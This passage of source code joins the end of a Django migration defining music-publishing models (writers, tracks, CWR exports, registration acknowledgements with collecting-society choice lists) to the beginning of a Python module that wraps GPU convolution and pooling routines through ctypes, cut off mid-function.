('262', 'SINEBIR (TURKEY)'), ('134', 'SLPRS (SRI LANKA)'), ('187', 'SNAC (FRANCE)'), ('129', 'SOBODAYCOM (BOLIVIA)'), ('101', 'SOCAN (CANADA)'), ('254', 'SOCILADRA (CAMEROON)'), ('189', 'SOCINPRO (BRAZIL)'), ('25', 'SODAV (SENEGAL)'), ('20', 'SODRAC (CANADA)'), ('137', 'SOFAM (BELGIUM)'), ('70', 'SOGEM (MEXICO)'), ('64', 'SOKOJ (SERBIA AND MONTENEGRO)'), ('155', 'SOMAAP (MEXICO)'), ('224', 'SOMAS (MOZAMBIQUE)'), ('304', 'SONGCODE (UNITED STATES)'), ('190', 'SOPE (GREECE)'), ('85', 'SOZA (SLOVAKIA)'), ('69', 'SPA (PORTUGAL)'), ('146', 'SPAC (PANAMA)'), ('87', 'SPACEM (FRANCE)'), ('191', 'SPACQ (CANADA)'), ('216', 'SQN (BOSNIA AND HERZEGOVINA)'), ('91', 'SSA (SWITZERLAND)'), ('77', 'STEF (ICELAND)'), ('78', 'STEMRA (NETHERLANDS)'), ('79', 'STIM (SWEDEN)'), ('80', 'SUISA (SWITZERLAND)'), ('75', 'SUISSIMAGE (SWITZERLAND)'), ('775', 'Solar EMI (GERMANY/UK)'), ('776', 'Solar Sony (GERMANY/UK)'), ('237', 'TALI (ISRAEL)'), ('143', 'TEATERAUTOR (BULGARIA)'), ('89', 'TEOSTO (FINLAND)'), ('90', 'TONO (NORWAY)'), ('207', "The Author's Registry Inc. (UNITED STATES)"), ('193', 'The Society of Authors (SOA) (UNITED KINGDOM)'), ('140', 'UACRR (UKRAINE)'), ('93', 'UBC (BRAZIL)'), ('115', 'UCMR-ADA (ROMANIA)'), ('194', 'UFFICIO GIURIDICO (HOLY SEE (VATICAN CITY STATE))'), ('206', 'UFW (FINLAND)'), ('282', 'UNAC-SA (ANGOLA)'), ('780', 'UNISON (Spain)'), ('267', 'UPRAVIS (RUSSIAN FEDERATION)'), ('234', 'UPRS (UGANDA)'), ('156', 'VAGA (UNITED STATES)'), ('246', 'VCPMC (VIET NAM)'), ('121', 'VDFS (AUSTRIA)'), ('158', 'VEGAP (SPAIN)'), ('195', 'VEVAM (NETHERLANDS)'), ('95', 'VG WORT (GERMANY)'), ('159', 'VISCOPY (AUSTRALIA)'), ('139', 'VISDA (DENMARK)'), ('269', 'WAMI (INDONESIA)'), ('196', 'WGA (UNITED STATES)'), ('197', 'WGJ (JAPAN)'), ('300', 'WID Centre (UNITED STATES)'), ('97', 'ZAIKS (POLAND)'), ('133', 'ZAMCOPS (ZAMBIA)'), ('136', 'ZAMP - Macédoine (MACEDONIA)'), ('198', 'ZAMP Association of Slovenia (SLOVENIA)'), ('98', 'ZIMURA (ZIMBABWE)'), ('292', 'ZPAP (POLAND)')], max_length=3, null=True, validators=[music_publisher.validators.CWRFieldValidator('pr_society')], verbose_name='Synchronization rights society')), ('ipi_name', models.CharField(blank=True, max_length=11, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('ipi_name')], verbose_name='IPI name #')), ('ipi_base', models.CharField(blank=True, max_length=15, null=True, validators=[music_publisher.validators.CWRFieldValidator('ipi_base')], verbose_name='IPI base #')), ('_can_be_controlled', models.BooleanField(default=False, editable=False)), ('saan', models.CharField(blank=True, help_text='Use this field for general agreements only.\nFor specific agreements use the field in the Work form,\nin Writers In Work section.', max_length=14, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('saan')], verbose_name='Society-assigned general agreement number')), ('generally_controlled', models.BooleanField(default=False, verbose_name='General agreement')), ('publisher_fee', models.DecimalField(blank=True, decimal_places=2, help_text='Percentage of royalties kept by the publisher,\nin a general agreement.', max_digits=5, null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(100)])), ], options={ 'verbose_name': 'Writer', 'verbose_name_plural': 'Writers', 'ordering': ('last_name', 'first_name', 'ipi_name', '-id'), }, ), migrations.CreateModel( name='WriterInWork', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('saan', models.CharField(blank=True, help_text='Use this field for specific agreements only.\nFor general agreements use the field in the Writer form.', max_length=14, null=True, validators=[music_publisher.validators.CWRFieldValidator('saan')], verbose_name='Society-assigned specific agreement number')), ('controlled', models.BooleanField(default=False)), ('relative_share', models.DecimalField(decimal_places=2, max_digits=5, verbose_name='Manuscript share')), ('capacity', models.CharField(blank=True, choices=[('CA', 'Composer&Lyricist'), ('C ', 'Composer'), ('A ', 'Lyricist'), ('AR', 'Arranger'), ('AD', 'Adaptor'), ('TR', 'Translator')], max_length=2, verbose_name='Role')), ('publisher_fee', models.DecimalField(blank=True, decimal_places=2, help_text='Percentage of royalties kept by the publisher,\nin a specific agreement.', max_digits=5, null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(100)])), ('work', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='music_publisher.work')), ('writer', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.writer')), ], options={ 'verbose_name': 'Writer in Work', 'verbose_name_plural': 'Writers in Work', 'ordering': ('-controlled', 'writer__last_name', 'writer__first_name', '-id'), 'unique_together': {('work', 'writer', 'controlled')}, }, ), migrations.AddField( model_name='work', name='writers', field=models.ManyToManyField(through='music_publisher.WriterInWork', to='music_publisher.Writer'), ), migrations.CreateModel( name='Track', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('cut_number', models.PositiveSmallIntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(1), django.core.validators.MaxValueValidator(9999)])), ('recording', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='tracks', to='music_publisher.recording')), ('release', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='tracks', to='music_publisher.release')), ], options={ 'verbose_name': 'Track', 'ordering': ('release', 'cut_number'), 'unique_together': {('recording', 'release'), ('release', 'cut_number')}, }, ), migrations.AddField( model_name='release', name='recordings', field=models.ManyToManyField(through='music_publisher.Track', to='music_publisher.Recording'), ), migrations.AddField( model_name='release', name='release_label', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.label', verbose_name='Release (album) label'), ), migrations.AddField( model_name='recording', name='releases', field=models.ManyToManyField(through='music_publisher.Track', to='music_publisher.Release'), ), migrations.AddField( model_name='recording', name='work', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='recordings', to='music_publisher.work'), ), migrations.CreateModel( name='CWRExport', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('nwr_rev', models.CharField(choices=[('NWR', 'CWR 2.1: New work registrations'), ('REV', 'CWR 2.1: Revisions of registered works'), ('WRK', 'CWR 3.0: Work registration (experimental)'), ('ISR', 'CWR 3.0: ISWC request (experimental)')], db_index=True, default='NWR', max_length=3, verbose_name='CWR version/type')), ('cwr', models.TextField(blank=True, editable=False)), ('year', models.CharField(blank=True, db_index=True, editable=False, max_length=2)), ('num_in_year', models.PositiveSmallIntegerField(default=0)), ('description', models.CharField(blank=True, max_length=60, verbose_name='Internal Note')), ('works', models.ManyToManyField(related_name='cwr_exports', to='music_publisher.Work')), ], options={ 'verbose_name': 'CWR Export', 'verbose_name_plural': 'CWR Exports', 'ordering': ('-id',), }, ), migrations.AddField( model_name='artistinwork', name='work', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='music_publisher.work'), ), migrations.CreateModel( name='CommercialRelease', fields=[ ], options={ 'verbose_name': 'Commercial Release', 'verbose_name_plural': 'Commercial Releases', 'proxy': True, 'indexes': [], 'constraints': [], }, bases=('music_publisher.release',), ), migrations.CreateModel( name='LibraryRelease', fields=[ ], options={ 'verbose_name': 'Library Release', 'verbose_name_plural': 'Library Releases', 'proxy': True, 'indexes': [], 'constraints': [], }, bases=('music_publisher.release',), ), migrations.CreateModel( name='WorkAcknowledgement', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('society_code', models.CharField(choices=[('226', 'AACIMH (HONDURAS)'), ('253', 'AAS (AZERBAIJAN)'), ('217', 'ABRAC (BRAZIL)'), ('201', 'ABRAMUS (BRAZIL)'), ('288', 'ABYROY (KAZAKHSTAN)'), ('107', 'ACAM (COSTA RICA)'), ('210', 'ACCESS COPYRIGHT (CANADA)'), ('306', 'ACCS (TRINIDAD AND TOBAGO)'), ('103', 'ACDAM (CUBA)'), ('76', 'ACEMLA (PUERTO RICO)'), ('260', 'ACS (UNITED KINGDOM)'), ('1', 'ACUM (ISRAEL)'), ('148', 'ADAGP (FRANCE)'), ('230', 'ADAVIS (CUBA)'), ('2', 'ADDAF (BRAZIL)'), ('250', 'AEI-GUATEMALA (GUATEMALA)'), ('3', 'AEPI (GREECE)'), ('4', 'AGADU (URUGUAY)'), ('289', 'AIPA (SLOVENIA)'), ('122', 'AKKA-LAA (LATVIA)'), ('5', 'AKM (AUSTRIA)'), ('127', 'ALBAUTOR (ALBANIA)'), ('54', 'ALCS (UNITED KINGDOM)'), ('30', 'AMAR (BRAZIL)'), ('12', 'AMCOS (AUSTRALIA)'), ('162', 'AMPAL (AUSTRALIA)'), ('17', 'AMRA (UNITED STATES)'), ('273', 'AMUS (BOSNIA AND HERZEGOVINA)'), ('218', 'ANACIM (BRAZIL)'), ('15', 'APA (PARAGUAY)'), ('7', 'APDAYC (PERU)'), ('163', 'APG-Japan (JAPAN)'), ('8', 'APRA (AUSTRALIA)'), ('164', 'APSAV (PERU)'), ('14', 'ARGENTORES (ARGENTINA)'), ('209', 'ARMAUTHOR NGO (ARMENIA)'), ('320', 'ARMONIA (FRANCE)'), ('149', 'ARS (UNITED STATES)'), ('236', 'ARTEGESTION (ECUADOR)'), ('9', 'ARTISJUS (HUNGARY)'), ('10', 'ASCAP (UNITED STATES)'), ('251', 'ASDACS (AUSTRALIA)'), ('219', 'ASSIM (BRAZIL)'), ('281', 'ATHINA- SADA - S.A.D.A. (GREECE)'), ('220', 'ATIDA (BRAZIL)'), ('141', 'ATN (CHILE)'), ('11', 'AUSTRO-MECHANA (AUME) (AUSTRIA)'), ('275', 'AUTODIAHIRISI (GREECE)'), ('166', 'AUTORARTE (VENEZUELA)'), ('231', 'AUTVIS (BRAZIL)'), ('203', 'AWGACS (AUSTRALIA)'), ('290', 'AZDG (AZERBAIJAN)'), ('202', 'AsDAC (MOLDOVA, REPUBLIC OF)'), ('274', 'AuPO CINEMA (UKRAINE)'), ('45', 'BBDA (BURKINA FASO)'), ('47', 'BCDA (CONGO)'), ('18', 'BGDA (GUINEA)'), ('132', 'BILD-KUNST (GERMANY)'), ('157', 'BILDRECHT GmbH (AUSTRIA)'), ('19', 'BMDA (MOROCCO)'), ('21', 'BMI (UNITED STATES)'), ('125', 'BNDA (NIGER)'), ('151', 'BONO (NORWAY)'), ('238', 'BSCAP (BELIZE)'), ('37', 'BUBEDRA (BENIN)'), ('6', 'BUCADA (CENTRAL AFRICAN REPUBLIC)'), ('23', 'BUMA (NETHERLANDS)'), ('16', 'BUMDA (MALI)'), ('24', "BURIDA (COTE D'IVOIRE)"), ('130', 'BUTODRA (TOGO)'), ('266', 'BeAT (BRUNEI DARUSSALAM)'), ('152', 'Bildupphovsrätt (Visual Copyright Society) (SWEDEN)'), ('168', 'CA (AUSTRALIA)'), ('283', 'CAPASSO (SOUTH AFRICA)'), ('264', 'CARCC (CANADA)'), ('26', 'CASH (HONG KONG)'), ('777', 'CELAS (GERMANY/UK)'), ('108', 'CHA (TAIWAN, CHINESE TAIPEI)'), ('316', 'CIS-Net AVI (FRANCE)'), ('312', 'CISAC (FRANCE)'), ('239', 'CMC (CAMEROON)'), ('88', 'CMRRA (CANADA)'), ('252', 'COLCCMA (TAIWAN, CHINESE TAIPEI)'), ('106', 'COMPASS (SINGAPORE)'), ('169', 'COSCAP (BARBADOS)'), ('124', 'COSOMA (MALAWI)'), ('268', 'COSON (NIGERIA)'), ('223', 'COSOTA (TANZANIA, UNITED REPUBLIC OF)'), ('284', 'COSOZA (ZANZIBAR)'), ('96', 'COTT (TRINIDAD AND TOBAGO)'), ('170', 'CPSN (NEPAL)'), ('171', 'CREAIMAGEN (CHILE)'), ('212', 'CSCS (CANADA)'), ('315', 'CSI (FRANCE)'), ('175', 'CopyRo (ROMANIA)'), ('248', 'DAC (ARGENTINA)'), ('296', 'DACIN-SARA (ROMANIA)'), ('153', 'DACS (UNITED KINGDOM)'), ('142', 'DALRO (SOUTH AFRICA)'), ('240', 'DAMA (SPAIN)'), ('276', 'DASC (COLOMBIA)'), ('293', 'DBCA (BRAZIL)'), ('172', 'DGA (UNITED STATES)'), ('271', 'DHFR (CROATIA)'), ('31', 'DILIA (CZECH REPUBLIC)'), ('173', 'DIRECTORES (MEXICO)'), ('145', 'DIRECTORS UK (UNITED KINGDOM)'), ('310', 'DIVA (HONG KONG)'), ('213', 'DRCC (CANADA)'), ('116', 'EAU (ESTONIA)'), ('308', 'ECAD (BRAZIL)'), ('214', 'ECCO (SAINT LUCIA)'), ('322', 'EVA (BELGIUM)'), ('147', 'FILMAUTOR (BULGARIA)'), ('174', 'FILMJUS (HUNGARY)'), ('32', 'FILSCAP (PHILIPPINES)'), ('222', 'FONOPERU (PERU)'), ('313', 'FastTrack DCN (FRANCE)'), ('261', 'GAI Uz (UZBEKISTAN)'), ('204', 'GCA (former SSA) (GEORGIA)'), ('297', 'GEDAR (BRAZIL)'), ('35', 'GEMA (GERMANY)'), ('635', 'GEMA-US (Additional CIS-Net Node)'), ('301', 'GESAC (BELGIUM)'), ('232', 'GESTOR (CZECH REPUBLIC)'), ('285', 'GHAMRO (GHANA)'), ('778', 'GMR ()'), ('144', 'HAA (CROATIA)'), ('111', 'HDS-ZAMP (CROATIA)'), ('34', 'HFA (UNITED STATES)'), ('154', 'HUNGART (HUNGARY)'), ('319', 'ICE Services AB (SWEDEN)'), ('229', 'ICG (UNITED STATES)'), ('314', 'IDA (FRANCE)'), ('128', 'IMRO (IRELAND)'), ('317', 'INTL-REP (FRANCE)'), ('36', 'IPRS (INDIA)'), ('247', 'IVARO (IRELAND)'), ('176', 'JACAP (JAMAICA)'), ('270', 'JASPAR (JAPAN)'), ('38', 'JASRAC (JAPAN)'), ('109', 'KCI (INDONESIA)'), ('40', 'KODA (DENMARK)'), ('118', 'KOMCA (KOREA, REPUBLIC OF)'), ('138', 'KOPIOSTO (FINLAND)'), ('287', 'KORRA (KOREA)'), ('178', 'KOSA (KOREA, REPUBLIC OF)'), ('179', 'KUVASTO (FINLAND)'), ('177', 'KazAK (KAZAKSTAN)'), ('215', 'Kyrgyzpatent (KYRGYZSTAN)'), ('110', 'LATGA-A (LITHUANIA)'), ('302', 'LATINAUTOR (URUGUAY)'), ('120', 'LIRA (NETHERLANDS)'), ('28', 'LITA (SLOVAKIA)'), ('41', 'LITERAR-MECHANA (AUSTRIA)'), ('309', 'LatinNet (SPAIN)'), ('265', 'MACA (MACAU)'), ('104', 'MACP (MALAYSIA)'), ('105', 'MASA (RMS) (MAURITIUS)'), ('44', 'MCPS (UNITED KINGDOM)'), ('311', 'MCPS-PRS Alliance (UNITED KINGDOM)'), ('119', 'MCSC (CHINA)'), ('43', 'MCSK (KENYA)'), ('22', 'MCSN (NIGERIA)'), ('126', 'MCT (THAILAND)'), ('117', 'MESAM (TURKEY)'), ('307', 'MIS@ASIA (SINGAPORE)'), ('272', 'MOSCAP (MONGOLIA)'), ('258', 'MRCSN (NEPAL)'), ('200', 'MSG (TURKEY)'), ('39', 'MUSICAUTOR (BULGARIA)'), ('707', 'MusicMark (USA)'), ('161', 'MÜST (TAIWAN, CHINESE TAIPEI)'), ('102', 'NASCAM (NAMIBIA)'), ('48', 'NCB (DENMARK)'), ('160', 'NCIP (BELARUS)'), ('241', 'NICAUTOR (NICARAGUA)'), ('181', 'NMPA (UNITED STATES)'), ('303', 'NORD-DOC (SWEDEN)'), ('286', 'ODDA (DJIBOUTI)'), ('291', 'OFA (SERBIA)'), ('33', 'OMDA (MADAGASCAR)'), ('49', 'ONDA (ALGERIA)'), ('298', 'OOA-S (CZECH REPUBLIC)'), ('50', 'OSA (CZECH REPUBLIC)'), ('82', 'OTPDA (TUNISIA)'), ('888', 'PAECOL (Additional CIS-Net Node)'), ('249', 'PAM CG (MONTENEGRO)'), ('182', 'PAPPRI (INDONESIA)'), ('256', 'PICTORIGHT (NETHERLANDS)'), ('51', 'PROLITTERIS (SWITZERLAND)'), ('52', 'PRS (UNITED KINGDOM)'), ('321', 'PUBLISHERS ()'), ('779', 'Polaris Nordic (SCANDINAVIA)'), ('94', 'RAO (RUSSIAN FEDERATION)'), ('294', 'REDES (COLOMBIA)'), ('228', 'ROMS (RUSSIAN FEDERATION)'), ('277', 'RSAU (RWANDA)'), ('278', 'RUR (RUSSIA)'), ('55', 'SABAM (BELGIUM)'), ('221', 'SABEM (BRAZIL)'), ('56', 'SACD (FRANCE)'), ('58', 'SACEM (FRANCE)'), ('758', 'SACEM-LIBAN (Additional CIS-Net Node)'), ('658', 'SACEM-US (Additional CIS-Net Node)'), ('233', 'SACEMLUXEMBOURG (LUXEMBOURG)'), ('235', 'SACENC (FRANCE)'), ('57', 'SACERAU (EGYPT)'), ('242', 'SACIM (EL SALVADOR)'), ('183', 'SACK (KOREA, REPUBLIC OF)'), ('59', 'SACM (MEXICO)'), ('263', 'SACS (SEYCHELLES)'), ('60', 'SACVEN (VENEZUELA)'), ('131', 'SADA (GREECE)'), ('61', 'SADAIC (ARGENTINA)'), ('62', 'SADEMBRA (BRAZIL)'), ('135', 'SADH (GREECE)'), ('243', 'SADIA (ANGOLA)'), ('295', 'SAGCRYT (MEXICO)'), ('225', 'SAIF (FRANCE)'), ('63', 'SAMRO (SOUTH AFRICA)'), ('280', 'SANASTO (FINLAND)'), ('184', 'SARTEC (CANADA)'), ('244', 'SASUR (SURINAME)'), ('257', 'SAVA (ARGENTINA)'), ('65', 'SAYCE (ECUADOR)'), ('84', 'SAYCO (COLOMBIA)'), ('112', 'SAZAS (SLOVENIA)'), ('66', 'SBACEM (BRAZIL)'), ('67', 'SBAT (BRAZIL)'), ('73', 'SCAM (FRANCE)'), ('29', 'SCD (CHILE)'), ('299', 'SCM-COOPERATIVA (CAPE VERDE)'), ('279', 'SDADV (ANDORRA)'), ('259', 'SDCSI (IRELAND)'), ('68', 'SDRM (FRANCE)'), ('71', 'SESAC Inc. (UNITED STATES)'), ('245', 'SETEM (TURKEY)'), ('192', 'SFF (SWEDEN)'), ('199', 'SFP-ZAPA (POLAND)'), ('208', 'SGA (GUINEA-BISSAU)'), ('227', 'SGACEDOM (DOMINICAN REPUBLIC)'), ('72', 'SGAE (SPAIN)'), ('672', 'SGAE-NY (Additional CIS-Net Node)'), ('186', 'SGDL (FRANCE)'), ('318', 'SGS ()'), ('74', 'SIAE (ITALY)'), ('86', 'SICAM (BRAZIL)'), ('262', 'SINEBIR (TURKEY)'), ('134', 'SLPRS (SRI LANKA)'), ('187', 'SNAC (FRANCE)'), ('129', 'SOBODAYCOM (BOLIVIA)'), ('101', 'SOCAN (CANADA)'), ('254', 'SOCILADRA (CAMEROON)'), ('189', 'SOCINPRO (BRAZIL)'), ('25', 'SODAV (SENEGAL)'), ('20', 'SODRAC (CANADA)'), ('137', 'SOFAM (BELGIUM)'), ('70', 'SOGEM (MEXICO)'), ('64', 'SOKOJ (SERBIA AND MONTENEGRO)'), ('155', 'SOMAAP (MEXICO)'), ('224', 'SOMAS (MOZAMBIQUE)'), ('304', 'SONGCODE (UNITED STATES)'), ('190', 'SOPE (GREECE)'), ('85', 'SOZA (SLOVAKIA)'), ('69', 'SPA (PORTUGAL)'), ('146', 'SPAC (PANAMA)'), ('87', 'SPACEM (FRANCE)'), ('191', 'SPACQ (CANADA)'), ('216', 'SQN (BOSNIA AND HERZEGOVINA)'), ('91', 'SSA (SWITZERLAND)'), ('77', 'STEF (ICELAND)'), ('78', 'STEMRA (NETHERLANDS)'), ('79', 'STIM (SWEDEN)'), ('80', 'SUISA (SWITZERLAND)'), ('75', 'SUISSIMAGE (SWITZERLAND)'), ('775', 'Solar EMI (GERMANY/UK)'), ('776', 'Solar Sony (GERMANY/UK)'), ('237', 'TALI (ISRAEL)'), ('143', 'TEATERAUTOR (BULGARIA)'), ('89', 'TEOSTO (FINLAND)'), ('90', 'TONO (NORWAY)'), ('207', "The Author's Registry Inc. (UNITED STATES)"), ('193', 'The Society of Authors (SOA) (UNITED KINGDOM)'), ('140', 'UACRR (UKRAINE)'), ('93', 'UBC (BRAZIL)'), ('115', 'UCMR-ADA (ROMANIA)'), ('194', 'UFFICIO GIURIDICO (HOLY SEE (VATICAN CITY STATE))'), ('206', 'UFW (FINLAND)'), ('282', 'UNAC-SA (ANGOLA)'), ('780', 'UNISON (Spain)'), ('267', 'UPRAVIS (RUSSIAN FEDERATION)'), ('234', 'UPRS (UGANDA)'), ('156', 'VAGA (UNITED STATES)'), ('246', 'VCPMC (VIET NAM)'), ('121', 'VDFS (AUSTRIA)'), ('158', 'VEGAP (SPAIN)'), ('195', 'VEVAM (NETHERLANDS)'), ('95', 'VG WORT (GERMANY)'), ('159', 'VISCOPY (AUSTRALIA)'), ('139', 'VISDA (DENMARK)'), ('269', 'WAMI (INDONESIA)'), ('196', 'WGA (UNITED STATES)'), ('197', 'WGJ (JAPAN)'), ('300', 'WID Centre (UNITED STATES)'), ('97', 'ZAIKS (POLAND)'), ('133', 'ZAMCOPS (ZAMBIA)'), ('136', 'ZAMP - Macédoine (MACEDONIA)'), ('198', 'ZAMP Association of Slovenia (SLOVENIA)'), ('98', 'ZIMURA (ZIMBABWE)'), ('292', 'ZPAP (POLAND)')], max_length=3, verbose_name='Society')), ('date', models.DateField()), ('status', models.CharField(choices=[('CO', 'Conflict'), ('DU', 'Duplicate'), ('RA', 'Transaction Accepted'), ('AS', 'Registration Accepted'), ('AC', 'Registration Accepted with Changes'), ('SR', 'Registration Accepted - Ready for Payment'), ('CR', 'Registration Accepted with Changes - Ready for Payment'), ('RJ', 'Rejected'), ('NP', 'No Participation'), ('RC', 'Claim rejected'), ('NA', 'Rejected - No Society Agreement Number'), ('WA', 'Rejected - Wrong Society Agreement Number')], max_length=2)), ('remote_work_id', models.CharField(blank=True, db_index=True, max_length=20, verbose_name='Remote work ID')), ('work', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='music_publisher.work')), ], options={ 'verbose_name': 'Registration Acknowledgement', 'ordering': ('-date', '-id'), 'index_together': {('society_code', 'remote_work_id')}, }, ), migrations.AddField( model_name='work', name='library_release', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='works', to='music_publisher.libraryrelease', verbose_name='Library release'), ), migrations.AlterUniqueTogether( name='artistinwork', unique_together={('work', 'artist')}, ), migrations.CreateModel( name='AlternateTitle', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(db_index=True, max_length=60, validators=[music_publisher.validators.CWRFieldValidator('title')])), ('suffix', models.BooleanField(default=False, help_text='Select if this title is only a suffix to the main title.')), ('work', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='music_publisher.work')), ], options={ 'verbose_name': 'Alternative Title', 'ordering': ('-suffix', 'title'), 'unique_together': {('work', 'title')}, }, ), ]

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6734b00b370189f13df809c363bbd68275c6b63f

17,992

py

Python

cudamat_conv/cudamat_conv.py

hujinshui/deepnet

592e5daa988b0247158f21989fbef60d10172075

[ "BSD-3-Clause" ]

1

2015-06-26T12:22:39.000Z

cudamat_conv/cudamat_conv.py

bjou/deepnet

2d9c11420dfb474d6e75cd546df3d67f4bca5eb6

[ "BSD-3-Clause" ]

null

cudamat_conv/cudamat_conv.py

bjou/deepnet

2d9c11420dfb474d6e75cd546df3d67f4bca5eb6

[ "BSD-3-Clause" ]

null

### goal: write cudamat and gnumpy functions that import ctypes as ct _ConvNet = ct.cdll.LoadLibrary('_ConvNet.so') import gnumpy as g def convUp(images, filters, moduleStride = 1, paddingStart = 0): assert paddingStart <= 0 numChannels, imSizeX, imSizeX, numImages = images.shape numFilterChannels, filterSizeX, filterSizeX, numFilters = filters.shape assert (abs(paddingStart) + imSizeX - filterSizeX) % moduleStride == 0 numModulesX = (abs(paddingStart) + imSizeX - filterSizeX)/moduleStride + 1 numModules = numModulesX**2 numGroups = 1 #moduleStride = 1 targets = g.zeros((numFilters, numModulesX, numModulesX, numImages)) numImgColors = numChannels imagesCu = images._base.p_mat filtersCu = filters._base.p_mat targetsCu = targets._base.p_mat imagesCu_orig, filtersCu_orig, targetsCu_orig = \ [tuple(x.contents.size) for x in (imagesCu, filtersCu, targetsCu)] from numpy import prod filtersTotSize = filters.size filtersCu.contents.size[0] = numFilterChannels * filterSizeX**2 filtersCu.contents.size[1] = numFilters assert filtersTotSize == prod(filtersCu.contents.size) imagesTotSize = images.size imagesCu.contents.size[0] = numImgColors * imSizeX**2 imagesCu.contents.size[1] = numImages assert imagesTotSize == prod(imagesCu.contents.size) targetsTotSize = targets.size targetsCu.contents.size[0] = numFilters * numModulesX**2 targetsCu.contents.size[1] = numImages assert targetsTotSize == prod(targetsCu.contents.size) _ConvNet.convUp(imagesCu, filtersCu, targetsCu, numModulesX, paddingStart, moduleStride, numImgColors, numGroups, ) for i in range(2): filtersCu.contents.size[i] = filtersCu_orig[i] imagesCu.contents.size[i] = imagesCu_orig[i] targetsCu.contents.size[i] = targetsCu_orig[i] return targets def convDown(hidActs, filters, moduleStride = 1, paddingStart = 0): numGroups = 1 assert paddingStart <= 0 numFilters, numModulesX, numModulesX, numImages = hidActs.shape numFilterChannels, filterSizeX, filterSizeX, numFilters = filters.shape numModules = numModulesX**2 #numModulesX = (abs(paddingStart) + imSizeX - filterSizeX + 1) #imSizeX = numModulesX - abs(paddingStart) + filterSizeX - 1 imSizeX = (numModulesX - 1) * moduleStride - abs(paddingStart) + filterSizeX #assert (abs(paddingStart) + imSizeX - filterSizeX) % moduleStride == 0 numChannels = numFilterChannels * numGroups targets = g.zeros((numChannels, imSizeX, imSizeX, numImages)) numImgColors = numChannels hidActsCu = hidActs._base.p_mat filtersCu = filters._base.p_mat targetsCu = targets._base.p_mat # * hidActs: (numFilters, numModules, numImages) # * filters: (numFilterColors, filterPixels, numFilters) if conv # * (numModules, numFilterColors, filterPixels, numFilters) otherwise # * targets: (numImageColors, imgPixels, numImages) hidActsCu_orig, filtersCu_orig, targetsCu_orig = \ [tuple(x.contents.size) for x in (hidActsCu, filtersCu, targetsCu)] # filters are as before from numpy import prod filtersTotSize = filters.size filtersCu.contents.size[0] = numFilterChannels * filterSizeX**2 filtersCu.contents.size[1] = numFilters assert filtersTotSize == prod(filtersCu.contents.size) # hidActs are like the targets of the past: hidActsTotSize = hidActs.size hidActsCu.contents.size[0] = numFilters * numModulesX**2 hidActsCu.contents.size[1] = numImages assert hidActsTotSize == prod(hidActsCu.contents.size) # targets are like images: targetsTotSize = targets.size targetsCu.contents.size[0] = numImgColors * imSizeX**2 targetsCu.contents.size[1] = numImages assert targetsTotSize == prod(targetsCu.contents.size) _ConvNet.convDown( hidActsCu, filtersCu, targetsCu, imSizeX, paddingStart, moduleStride, numImgColors, numGroups) for i in range(2): filtersCu.contents.size[i] = filtersCu_orig[i] hidActsCu.contents.size[i] = hidActsCu_orig[i] targetsCu.contents.size[i] = targetsCu_orig[i] return targets def convOutp(images, hidActs, moduleStride = 1, paddingStart = 0, partialSum = None): numGroups = 1 assert paddingStart <= 0 numFilters, numModulesX, numModulesX, numImages = hidActs.shape numChannels, imSizeX, imSizeX, numImages = images.shape numFilterChannels = numChannels / numGroups #imSizeX = numModulesX - abs(paddingStart) + filterSizeX - 1 #filterSizeX = (imSizeX - numModulesX + abs(paddingStart))/moduleStride + 1 filterSizeX = -(numModulesX - 1) * moduleStride + (abs(paddingStart) + imSizeX) assert partialSum is None partialSum = numModulesX**2 targets = g.zeros((numFilterChannels, filterSizeX, filterSizeX, numFilters)) numImgColors = numChannels hidActsCu = hidActs._base.p_mat imagesCu = images._base.p_mat targetsCu = targets._base.p_mat imagesCu = images._base.p_mat imagesCu_orig, hidActsCu_orig, targetsCu_orig = \ [tuple(x.contents.size) for x in (imagesCu, hidActsCu, targetsCu)] from pylab import prod imagesTotSize = images.size imagesCu.contents.size[0] = numImgColors * imSizeX**2 imagesCu.contents.size[1] = numImages assert imagesTotSize == prod(imagesCu.contents.size) hidActsTotSize = hidActs.size hidActsCu.contents.size[0] = numFilters * numModulesX**2 hidActsCu.contents.size[1] = numImages assert hidActsTotSize == prod(hidActsCu.contents.size) from numpy import prod targetsTotSize = targets.size targetsCu.contents.size[0] = numFilterChannels * filterSizeX**2 targetsCu.contents.size[1] = numFilters assert targetsTotSize == prod(targetsCu.contents.size) _ConvNet.convOutp( imagesCu, hidActsCu, targetsCu, numModulesX, filterSizeX, paddingStart, moduleStride, numImgColors, numGroups, partialSum ) for i in range(2): imagesCu.contents.size[i] = imagesCu_orig[i] hidActsCu.contents.size[i] = hidActsCu_orig[i] targetsCu.contents.size[i] = targetsCu_orig[i] return targets def MaxPool(images, subsX, startX, strideX, outputsX ): numChannels, imSizeX, imSizeX, numImages = images.shape numImgColors = numChannels targets = g.zeros((numChannels, outputsX, outputsX, numImages)) imagesCu = images._base.p_mat targetsCu = targets._base.p_mat from pylab import prod imagesCu_orig = tuple(imagesCu.contents.size) imagesTotSize = images.size imagesCu.contents.size[0] = numImgColors * imSizeX**2 imagesCu.contents.size[1] = numImages assert imagesTotSize == prod(imagesCu.contents.size) targetsCu_orig = tuple(targetsCu.contents.size) targetsTotSize = 